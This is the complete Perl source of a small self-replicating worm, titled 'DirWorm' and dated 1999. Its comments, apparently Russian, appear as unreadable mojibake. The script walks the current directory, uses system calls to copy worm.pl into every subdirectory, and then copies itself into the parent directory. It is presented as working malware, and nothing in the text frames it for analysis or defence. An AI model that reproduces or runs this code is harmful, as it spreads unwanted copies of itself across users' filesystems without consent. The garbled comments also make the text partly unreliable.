# DirWorm by -Byst- (c) 1999 while (<*>) # ˆé¥¬ ¢á¥ ä ©«ë ¢ ⥪ã饩 ¤¨à¥ªâ®à¨¨ { if (chdir($_)) { # …᫨ íâ® ¤¨à¥ªâ®à¨ï - ᬥ¨âì ⥪ãéãî ¥¥ @command = ("cp ../worm.pl ./worm.pl > /dev/null"); system @command; # ‚맮¢ á¨á⥬®© äãªæ¨¨ ª®¯¨à®¢ ¨ï ä ©« chdir(".."); # ‚®§à é ¥¬áï ®¡à â® ¢ ç «ìãî ¤¨à¥ªâ®à¨î } } @command = ("cp ./worm.pl ../worm.pl"); system @command; # Š®¯¨à㥬 ⥫® ¢ த¨â¥«ìáªãî ¤¨à¥ªâ®à¨î